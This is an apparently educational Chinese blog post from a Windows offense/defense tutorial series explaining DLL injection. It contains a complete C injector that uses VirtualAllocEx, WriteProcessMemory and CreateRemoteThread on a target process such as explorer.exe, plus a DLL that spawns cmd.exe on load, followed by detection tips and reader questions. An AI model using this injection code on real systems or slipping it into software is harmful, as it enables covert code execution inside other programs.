iT邦幫忙

2021 iThome 鐵人賽

DAY 6
1
Security

現實主義勇者的 Windows 攻防記系列 第 6

【Day 06】致不滅的 DLL - DLL Injection

  • 分享至 

  • xImage
  •  

環境與工具

  • Windows 10 21H1
  • Process Explorer v16.32
  • Visual Studio 2019

Internal vs External

要了解 internal hack 跟 external hack 的差別,首先要知道 process 的概念。

這邊要知道的只有兩件事:

  • process 是執行中的 program,只有在執行之後,檔案中的資料才會被搬到記憶體中
  • 每個 process 都有自己的地址空間,包含 text region, data region, stack region

綜合以上兩件事,應該就能理解 internal 和 external 的差別。假設現在有個目標 process,前者的做法是相當於直接在目標 process 的內部操作記憶體;後者則是從另一個 process 去讀取或寫入目標 process。

既然不管是 internal 還是 external,目的都是去操作目標 process 的記憶體,那用哪個有什麼差別?

Internal Hack External Hack
執行速度
能做到的事情
被偵測到的可能性 有各種方法可以讓載入行為不容易被發現

基本上看上表就可以知道 external 的方法就只有在要做的事情很少,比如說只是要 patch 幾個 byte 的情況下才會使用。如果要做比較複雜,而且行跡比較隱密的操作,一般會使用 internal。

今天的主題,樸實無華的 DLL Injection,也是一般最常見的 DLL Injection,就是一種 internal hack。

DLL Injection

簡介

第一次聽到 DLL Injection,不確定有沒有人跟我以前一樣覺得它是 SQL Injection 的好朋友,然而它們在做法與觀念上都相差很多。

打開 Sysinternals 的 procexp.exe / procexe64.exe,這工具 - process explorer 可以看到許多目前正在運行的 process,隨意點一個 process 後下方會顯示這個 process 所用的 handle,其中也包含許多 DLL。

DLL Injection 做的事情就是將 DLL 載入目標 process,載入的 DLL 就可以在目標 process 中執行,並達到使用者的目的。等等在做完 DLL Injection 後,用 process explorer 可以在目標 process 中看到載入的 DLL。

實作流程

  1. 取得目標 process 的 handle
  2. 申請一塊目標 process 的記憶體
  3. 將要注入 dll 路徑字串寫入目標 process
  4. 從 kernel32.dll 取出其中的函數 LoadLibraryA
  5. 在目標 process 新開一個 thread,並執行 LoadLibraryA(<要注入的 dll>)

POC

裡面的註解基本上就是實作流程,遇到不熟的函數可以直接翻 MSDN,完整專案可以看我的 GitHub zeze-zeze/2021iThome

#include <windows.h>
#include <stdio.h>

// dll 路徑根據自己放的位置填
char dllname[150] = "<Path To DLL File>";
// pid 可以自己選,我是選 explorer.exe
DWORD pid = 13772;

int main() {
    // 1. 取得目標 process 的 handle
    HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    // 2. 申請一塊目標 process 的記憶體
    int size = strlen(dllname) + 5;
    PVOID procdlladdr = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
    if (procdlladdr == NULL) {
        printf("handle %p VirtualAllocEx failed\n", hprocess);
        return 0;
    }
    
    // 3. 將要注入 dll 路徑字串寫入目標 process
    SIZE_T writenum;
    if (!WriteProcessMemory(hprocess, procdlladdr, dllname, size, &writenum)) {
        printf("handle %p WriteProcessMemory failed\n", hprocess);
        return 0;
    }
    
    // 4. 從 kernel32.dll 取出其中的函數 LoadLibraryA
    FARPROC loadfuncaddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
    if (!loadfuncaddr) {
        printf("handle %p GetProcAddress failed\n", hprocess);
        return 0;
    }
    
    // 5. 在目標 process 新開一個 thread,並執行 LoadLibraryA(<要注入的 dll>)
    HANDLE hthread = CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)loadfuncaddr, (LPVOID)procdlladdr, 0, NULL);
    if (!hthread) {
        printf("handle %p CreateRemoteThread failed\n", hprocess);
        return 0;
    }

    CloseHandle(hthread);
    CloseHandle(hprocess);

    return 0;
}

這邊也意思意思放個 DLL,如果你不知道 DLL 要寫什麼的話

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        // 在 DLL 載入時執行 cmd.exe
        case DLL_PROCESS_ATTACH: {
            WinExec("cmd.exe", 1);
            break;
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

偵測

  • 在 process 本身監控自己的 dll 載入
  • 用 ETW 偵測 image load
  • TLS callback

DLL Injection 不單純是紅隊會使用的技巧,一些工具、防毒軟體為了能夠更容易監控一些 process,也會使用到 DLL Injection,所以沒辦法直接利用有沒有 DLL Injection 就判斷一個軟體是不是惡意程式。

參考資料

internal vs external
DLL Injector
process 概念


上一篇
【Day 05】你逆 - 逆向工程工具介紹
下一篇
【Day 07】歡迎來到實力至上主義的 Shellcode (上) - Windows x86 Shellcode
系列文
現實主義勇者的 Windows 攻防記30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
93wilsonlu
iT邦新手 5 級 ‧ 2022-11-03 15:39:42

大大您好,我發現有些 process(chrome...) 可以做 dll injection,但有些不行(explorer...),而且那些 process 是可以打開的,請問是什麼原因造成這種結果?謝謝。

zeze iT邦新手 2 級 ‧ 2022-11-03 17:35:35 檢舉

如果確定 process handle 有成功拿到的話,可以檢查你的目標 process 是 32 或 64 位元的,要跟你注入的 dll 相同才能成功。

查看方法可以打開 process explorer,上方的 View => Select Columns,勾選 Image Type (64 vs 32-bit)。

chrome 和 explorer 的 image type 都是 64 bit,不過有些 process 如 svchost 是 N/A。
我是用 process hacker 2。

zeze iT邦新手 2 級 ‧ 2022-11-10 16:50:21 檢舉

用 Administrator 權限開 process hacker 應該就看得到了(?

目標 process 是 64-bit,編譯出來要注入的 dll 也是 64-bit 的話,就再確認一下執行權限的問題。還是不行的話就把 API 的回傳值一個一個印出來檢查看有沒有成功。

我要留言

立即登入留言